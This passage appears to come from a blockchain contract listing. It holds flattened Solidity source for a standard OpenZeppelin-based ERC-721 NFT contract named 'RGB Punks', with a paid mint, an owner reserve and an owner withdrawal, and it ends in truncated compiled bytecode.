only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol@v4.2.0 pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol@v4.2.0 pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File contracts/RGBPunks.sol /* $$$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$$\ $$\ $$\ $$\ $$\ $$\ $$\ $$$$$$\ $$ __$$\ $$ __$$\ $$ __$$\ $$ __$$\ $$ | $$ |$$$\ $$ |$$ | $$ |$$ __$$\ $$ | $$ |$$ / \__|$$ | $$ | $$ | $$ |$$ | $$ |$$$$\ $$ |$$ |$$ / $$ / \__| $$$$$$$ |$$ |$$$$\ $$$$$$$\ | $$$$$$$ |$$ | $$ |$$ $$\$$ |$$$$$ / \$$$$$$\ $$ __$$< $$ |\_$$ |$$ __$$\ $$ ____/ $$ | $$ |$$ \$$$$ |$$ $$< \____$$\ $$ | $$ |$$ | $$ |$$ | $$ | $$ | $$ | $$ |$$ |\$$$ |$$ |\$$\ $$\ $$ | $$ | $$ |\$$$$$$ |$$$$$$$ | $$ | \$$$$$$ |$$ | \$$ |$$ | \$$\ \$$$$$$ | \__| \__| \______/ \_______/ \__| \______/ \__| \__|\__| \__| \______/ */ pragma solidity ^0.8.0; contract RGBPunks is ERC721, ERC721Enumerable, Ownable { uint256 public constant tokenPrice = 30000000000000000; // 0.03 ETH uint public constant maxTokenPurchase = 20; uint256 public MAX_TOKENS = 10000; bool public saleIsActive = false; string private _baseURIextended; constructor() ERC721("RGB Punks", "RGBP") { } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721, ERC721Enumerable) { super._beforeTokenTransfer(from, to, tokenId); } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } function setBaseURI(string memory baseURI_) external onlyOwner() { _baseURIextended = baseURI_; } function _baseURI() internal view virtual override returns (string memory) { return _baseURIextended; } function reserveTokens() public onlyOwner { uint supply = totalSupply(); require(supply < 50, "More than 50 tokens have already been reserved or minted."); uint i; for (i = 0; i < 50; i++) { _safeMint(msg.sender, supply + i); } } function flipSaleState() public onlyOwner { saleIsActive = !saleIsActive; } function mintToken(uint numberOfTokens) public payable { require(saleIsActive, "Sale must be active to mint Tokens"); require(numberOfTokens <= maxTokenPurchase, "Exceeded max token purchase"); require(totalSupply() + numberOfTokens <= MAX_TOKENS, "Purchase would exceed max supply of tokens"); require(tokenPrice * numberOfTokens <= msg.value, "Ether value sent is not correct"); for(uint i = 0; i < numberOfTokens; i++) { uint mintIndex = totalSupply(); if (totalSupply() < MAX_TOKENS) { _safeMint(msg.sender, mintIndex); } } } function withdraw() public onlyOwner { uint balance = address(this).balance; payable(msg.sender).transfer(balance); } }
0x6080604052600436106101b75760003560e01c80636352211e116100ec578063b88d4fde1161008a578063e985e9c511610064578063e985e9c5146105d7578063eb8d244414610614578063f2fde38b1461063f578063f47c84c514610668576101b7565b8063b88d4fde14610555578063c634d0321461057e578063c87b56dd1461059a576101b7565b80637ff9b596116100c65780637ff9b596146104ab5780638da5cb5b146104d657806395d89b4114610501578063a22cb4651461052c576101b7565b80636352211e1461041a57806370a0823114610457578063715018a614610494576101b7565b806327ac36c4116101595780633ccfd60b116101335780633ccfd60b1461037457806342842e0e1461038b5780634f6ccce7146103b457806355f804b3146103f1576101b7565b806327ac36c4146103095780632f745c591461032057806334918dfd1461035d576101b7565b8063095ea7b311610195578063095ea7b31461026157806309aa3dcf1461028a57806318160ddd146102b557806323b872dd146102e0576101b7565b806301ffc9a7146101bc57806306fdde03146101f9578063081812fc14610224575b600080fd5b3480156101c857600080fd5b506101e360048036038101906101de9190612bc3565b610693565b6040516101f09190613620565b60405180910390f35b34801561020557600080fd5b5061020e6106a5565b60405161021b919061363b565b60405180910390f35b34801561023057600080fd5b5061024b60048036038101906102469190612c56565b610737565b60405161025891906135b9565b60405180910390f35b34801561026d57600080fd5b5061028860048036038101906102839190612b87565b6107bc565b005b34801561029657600080fd5b5061029f6108d4565b6040516102ac919061393d565b60405180910390f35b3480156102c157600080fd5b506102ca6108d9565b6040516102d7919061393d565b60405180910390f35b3480156102ec57600080fd5b5061030760048036038101906103029190612a81565b6108e6565b005b34801561031557600080fd5b5061031e610946565b005b34801561032c57600080fd5b5061034760048036038101906103429190612b87565b610a49565b604051610354919061393d565b60405180910390f35b34801561036957600080fd5b50610372610aee565b005b34801561038057600080fd5b50610389610b96565b005b34801561039757600080fd5b506103b260048036038101906103ad9190612a81565b610c61565b005b3480156103c057600080fd5b506103db60048036038101906103d69190612c56565b610c81565b6040516103e8919061393d565b60405180910390f35b3480156103fd57600080fd5b5061041860048036038101906104139190612c15565b610d18565b005b34801561042657600080fd5b50610441600480360381019061043c9190612c56565b610dae565b60405161044e91906135b9565b60405180910390f35b34801561046357600080fd5b5061047e60048036038101906104799190612a1c565b610e60565b60405161048b919061393d565b60405180910390f35b3480156104a057600080fd5b506104a9610f18565b005b3480156104b757600080fd5b506104c0610fa0565b6040516104cd919061393d565b60405180910390f35b3480156104e257600080fd5b506104eb610fab565b6040516104f891906135b9565b60405180910390f35b34801561050d57600080fd5b50610516610fd5565b604051610523919061363b565b60405180910390f35b34801561053857600080fd5b50610553600480360381019061054e9190612b4b565b611067565b005b34801561056157600080fd5b5061057c60048036038101906105779190612ad0565b6111e8565b005b61059860048036038101906105939190612c56565b61124a565b005b3480156105a657600080fd5b506105c160048036038101906105bc9190612c56565b6113d4565b6040516105ce919061363b565b60405180910390f35b3480156105e357600080fd5b506105fe60048036038101906105f99190612a45565b61147b565b60405161060b9190613620565b60405180910390f35b34801561062057600080fd5b5061062961150f565b6040516106369190613620565b60405180910390f35b34801561064b57600080fd5b5061066660048036038101906106619190612a1c565b611522565b005b34801561067457600080fd5b5061067d61161a565b60405161068a919061393d565b60405180910390f35b600061069e82611620565b9050919050565b6060600080546106b490613bf7565b80601f01602080910402602001604051908101604052809291908181526020018280546106e090613bf7565b801561072d5780601f106107025761010080835404028352916020019161072d565b820191906000526020600020905b81548152906001019060200180831161071057829003601f168201915b5050505050905090565b60006107428261169a565b610781576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107789061383d565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60006107c782610dae565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610838576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082f906138bd565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610857611706565b73ffffffffffffffffffffffffffffffffffffffff161480610886575061088581610880611706565b61147b565b5b6108c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108bc9061377d565b60405180910390fd5b6108cf838361170e565b505050565b601481565b6000600880549050905090565b6108f76108f1611706565b826117c7565b610936576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092d906138fd565b60405180910390fd5b6109418383836118a5565b505050565b61094e611706565b73ffffffffffffffffffffffffffffffffffffffff1661096c610fab565b73ffffffffffffffffffffffffffffffffffffffff16146109c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b99061385d565b60405180910390fd5b60006109cc6108d9565b905060328110610a11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a089061379d565b60405180910390fd5b60005b6032811015610a4557610a32338284610a2d9190613a2c565b611b01565b8080610a3d90613c29565b915050610a14565b5050565b6000610a5483610e60565b8210610a95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8c9061365d565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b610af6611706565b73ffffffffffffffffffffffffffffffffffffffff16610b14610fab565b73ffffffffffffffffffffffffffffffffffffffff1614610b6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b619061385d565b60405180910390fd5b600c60009054906101000a900460ff1615600c60006101000a81548160ff021916908315150217905550565b610b9e611706565b73ffffffffffffffffffffffffffffffffffffffff16610bbc610fab565b73ffffffffffffffffffffffffffffffffffffffff1614610c12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c099061385d565b60405180910390fd5b60004790503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610c5d573d6000803e3d6000fd5b5050565b610c7c838383604051806020016040528060008152506111e8565b505050565b6000610c8b6108d9565b8210610ccc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc39061391d565b60405180910390fd5b60088281548110610d06577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001549050919050565b610d20611706565b73ffffffffffffffffffffffffffffffffffffffff16610d3e610fab565b73ffffffffffffffffffffffffffffffffffffffff1614610d94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8b9061385d565b60405180910390fd5b80600d9080519060200190610daa929190612840565b5050565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610e57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4e906137dd565b60405180910390fd5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ed1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec8906137bd565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610f20611706565b73ffffffffffffffffffffffffffffffffffffffff16610f3e610fab565b73ffffffffffffffffffffffffffffffffffffffff1614610f94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8b9061385d565b60405180910390fd5b610f9e6000611b1f565b565b666a94d74f43000081565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060018054610fe490613bf7565b80601f016020809104026020016040519081016040528092919081815260200182805461101090613bf7565b801561105d5780601f106110325761010080835404028352916020019161105d565b820191906000526020600020905b81548152906001019060200180831161104057829003601f168201915b5050505050905090565b61106f611706565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d4906136fd565b60405180910390fd5b80600560006110ea611706565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16611197611706565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516111dc9190613620565b60405180910390a35050565b6111f96111f3611706565b836117c7565b611238576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122f906138fd565b60405180910390fd5b61124484848484611be5565b50505050565b600c60009054906101000a900460ff16611299576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112909061373d565b60405180910390fd5b60148111156112dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d4906138dd565b60405180910390fd5b600b54816112e96108d9565b6112f39190613a2c565b1115611334576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132b906137fd565b60405180910390fd5b3481666a94d74f4300006113489190613ab3565b1115611389576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113809061371d565b60405180910390fd5b60005b818110156113d057600061139e6108d9565b9050600b546113ab6108d9565b10156113bc576113bb3382611b01565b5b5080806113c890613c29565b91505061138c565b5050565b60606113df8261169a565b61141e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114159061389d565b60405180910390fd5b6000611428611c41565b905060008151116114485760405180602001604052806000815250611473565b8061145284611cd3565b604051602001611463929190613595565b6040516020818303038152906040525b915050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b600c60009054906101000a900460ff1681565b61152a611706565b73ffffffffffffffffffffffffffffffffffffffff16611548610fab565b73ffffffffffffffffffffffffffffffffffffffff161461159e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115959061385d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561160e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116059061369d565b60405180910390fd5b61161781611b1f565b50565b600b5481565b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480611693575061169282611e80565b5b9050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff1661178183610dae565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60006117d28261169a565b611811576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118089061375d565b60405180910390fd5b600061181c83610dae565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061188b57508373ffffffffffffffffffffffffffffffffffffffff1661187384610737565b73ffffffffffffffffffffffffffffffffffffffff16145b8061189c575061189b818561147b565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff166118c582610dae565b73ffffffffffffffffffffffffffffffffffffffff161461191b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119129061387d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561198b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611982906136dd565b60405180910390fd5b611996838383611f62565b6119a160008261170e565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546119f19190613b0d565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611a489190613a2c565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b611b1b828260405180602001604052806000815250611f72565b5050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b611bf08484846118a5565b611bfc84848484611fcd565b611c3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c329061367d565b60405180910390fd5b50505050565b6060600d8054611c5090613bf7565b80601f0160208091040260200160405190810160405280929190818152602001828054611c7c90613bf7565b8015611cc95780601f10611c9e57610100808354040283529160200191611cc9565b820191906000526020600020905b815481529060010190602001808311611cac57829003601f168201915b5050505050905090565b60606000821415611d1b576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050611e7b565b600082905060005b60008214611d4d578080611d3690613c29565b915050600a82611d469190613a82565b9150611d23565b60008167ffffffffffffffff811115611d8f577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015611dc15781602001600182028036833780820191505090505b5090505b60008514611e7457600182611dda9190613b0d565b9150600a85611de99190613c72565b6030611df59190613a2c565b60f81b818381518110611e31577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a85611e6d9190613a82565b9450611dc5565b8093505050505b919050565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480611f4b57507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80611f5b5750611f5a82612164565b5b9050919050565b611f6d8383836121ce565b505050565b611f7c83836122e2565b611f896000848484611fcd565b611fc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fbf9061367d565b60405180910390fd5b505050565b6000611fee8473ffffffffffffffffffffffffffffffffffffffff166124b0565b15612157578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02612017611706565b8786866040518563ffffffff1660e01b815260040161203994939291906135d4565b602060405180830381600087803b15801561205357600080fd5b505af192505050801561208457506040513d601f19601f820116820180604052508101906120819190612bec565b60015b612107573d80600081146120b4576040519150601f19603f3d011682016040523d82523d6000602084013e6120b9565b606091505b506000815114156120ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f69061367d565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161491505061215c565b600190505b949350505050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b6121d98383836124c3565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561221c57612217816124c8565b61225b565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461225a576122598382612511565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561229e576122998161267e565b6122dd565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146122dc576122db82826127c1565b5b5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612352576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123499061381d565b60405180910390fd5b61235b8161169a565b1561239b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612392906136bd565b60405180910390fd5b6123a760008383611f62565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546123f79190613a2c565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b600080823b905060008111915050919050565b505050565b6008805490506009600083815260200190815260200160002081905550600881908060018154018082558091505060019003906000526020600020016000909190919091505550565b6000600161251e84610e60565b6125289190613b0d565b905060006007600084815260200190815260200160002054905081811461260d576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816007600083815260200190815260200160002081905550505b6007600084815260200190815260200160002060009055600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b600060016008805490506126929190613b0d565b90506000600960008481526020019081526020016000205490506000600883815481106126e8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020015490508060088381548110612730577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200181905550816009600083815260200190815260200160002081905550600960008581526020019081526020016000206000905560088054806127a5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b60006127cc83610e60565b905081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806007600084815260200190815260200160002081905550505050565b82805461284c90613bf7565b90600052602060002090601f01602090048101928261286e57600085556128b5565b82601f1061288757805160ff19168380011785556128b5565b828001600101855582156128b5579182015b828111156128b4578251825591602001919060010190612899565b5b5090506128c291906128c6565b5090565b5b808211156128df5760008160009055506001016128c7565b5090565b60006128f66128f184613989565b613958565b90508281526020810184848401111561290e57600080fd5b612919848285613bb5565b509392505050565b600061293461292f846139b9565b613958565b90508281526020810184848401111561294c57600080fd5b612957848285613bb5565b509392505050565b60008135905061296e81613d70565b92915050565b60008135905061298381613d87565b92915050565b60008135905061299881613d9e565b92915050565b6000815190506129ad81613d9e565b92915050565b600082601f8301126129c457600080fd5b81356129d48482602086016128e3565b91505092915050565b600082601f8301126129ee57600080fd5b81356129fe848260208601612921565b91505092915050565b600081359050612a1681613db5565b92915050565b600060208284031215612a2e57600080fd5b6000612a3c8482850161295f565b91505092915050565b60008060408385031215612a5857600080fd5b6000612a668582860161295f565b9250506020612a778582860161295f565b9150509250929050565b600080600060608486031215612a9657600080fd5b6000612aa48682870161295f565b9350506020612ab58682870161295f565b9250506040612ac686828701612a07565b9150509250925092565b60008060008060808587031215612ae657600080fd5b6000612af48782880161295f565b9450506020612b058782880161295f565b9350506040612b1687828801612a07565b925050606085013567ffffffffffffffff811115612b3357600080fd5b612b3f878288016129b3565b91505092959194509250565b60008060408385031215612b5e57600080fd5b6000612b6c8582860161295f565b9250506020612b7d85828601612974565b9150509250929050565b60008060408385031215612b9a57600080fd5b6000612ba88582860161295f565b9250506020612bb985828601612a07565b9150509250929050565b600060208284031215612bd557600080fd5b6000612be384828501612989565b91505092915050565b600060208284031215612bfe57600080fd5b6000612c0c8482850161299e565b91505092915050565b600060208284031215612c2757600080fd5b600082013567ffffffffffffffff811115612c4157600080fd5b612c4d848285016129dd565b91505092915050565b600060208284031215612c6857600080fd5b6000612c7684828501612a07565b91505092915050565b612c8881613b41565b82525050565b612c9781613b53565b82525050565b6000612ca8826139e9565b612cb281856139ff565b9350612cc2818560208601613bc4565b612ccb81613d5f565b840191505092915050565b6000612ce1826139f4565b612ceb8185613a10565b9350612cfb818560208601613bc4565b612d0481613d5f565b840191505092915050565b6000612d1a826139f4565b612d248185613a21565b9350612d34818560208601613bc4565b80840191505092915050565b6000612d4d602b83613a10565b91507f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008301527f74206f6620626f756e64730000000000000000000000000000000000000000006020830152604082019050919050565b6000612db3603283613a10565b91507f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008301527f63656976657220696d706c656d656e74657200000000000000000000000000006020830152604082019050919050565b6000612e19602683613a10565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612e7f601c83613a10565b91507f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006000830152602082019050919050565b6000612ebf602483613a10565b91507f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612f25601983613a10565b91507f4552433732313a20617070726f766520746f2063616c6c6572000000000000006000830152602082019050919050565b6000612